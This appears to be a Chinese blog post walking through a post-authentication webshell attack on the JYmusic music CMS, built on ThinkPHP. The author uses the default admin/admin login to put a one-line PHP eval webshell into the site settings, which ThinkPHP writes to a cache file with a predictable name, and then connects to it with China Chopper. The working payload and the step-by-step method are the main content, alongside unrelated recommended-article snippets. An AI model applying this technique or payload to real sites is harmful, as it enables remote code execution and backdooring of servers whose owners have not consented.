基于ThinkPHP的2个CMS后台GetShell利用

一大帮水军正在来袭......


JYmusic是Php+Mysql开发的一款开源的跨平台音乐管理系统,采用国内最优秀php框架thinkphp。程序完全免费,稳定,易于扩展且具有超强大负载能力,完全可以满足音乐、DJ、音乐分享、音乐资讯站等使用。

先看一下管理员登录页面的源代码,看到核心入口为ThinkPHP.php,找到并打开查看
admin.php

图片.png

发现应用缓存目录为Temp文件夹ThinkPHP.php


图片.png

打开Temp文件夹会发现有很多缓存文件,我们随便打开即可看看,可以发现里面的内容有点像网站配置信息,只不过是序列化后的结果

图片.png
图片.png

所以我们在后台的网站设置处插入一句话,就会被ThinkPHP写入缓存文件。而且这个缓存文件的文件名都是固定不变的,这也是导致getshell的原因。

访问后台登陆口

http://127.0.0.1/jymusic_v1.1.1/jymusic/admin.php?s=/public/login.html

用户名和密码为 admin admin


图片.png

添加一句话木马:
<?php @eval($_POST['cmd']);?>

图片.png

成功插入后,我们来执行一下phpinfo()函数看看,菜刀也能成功连接

图片.png
图片.png
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 一大帮水军正在来袭....... XYHCMS 行云海CMS(XYHCMS)是完全源码开放的一套CMS内容管理系统...
    二潘阅读 12,305评论 1 0
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 10,414评论 0 9
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,798评论 19 139
  • 惯性是件很可怕的事情,你明知水再烧热就会变成熟肉,可是即使有无数声音让你发奋、振作,你还是会懒洋洋地躺在温水里,期...
    海水蓝阅读 1,833评论 0 0
  • 一.需要遵守的代码规范HTML部分1.语法:tab缩进两格,标签必须被闭合,能省略'/'的就省略,属性用双引号,嵌...
    swhzzz阅读 3,984评论 0 1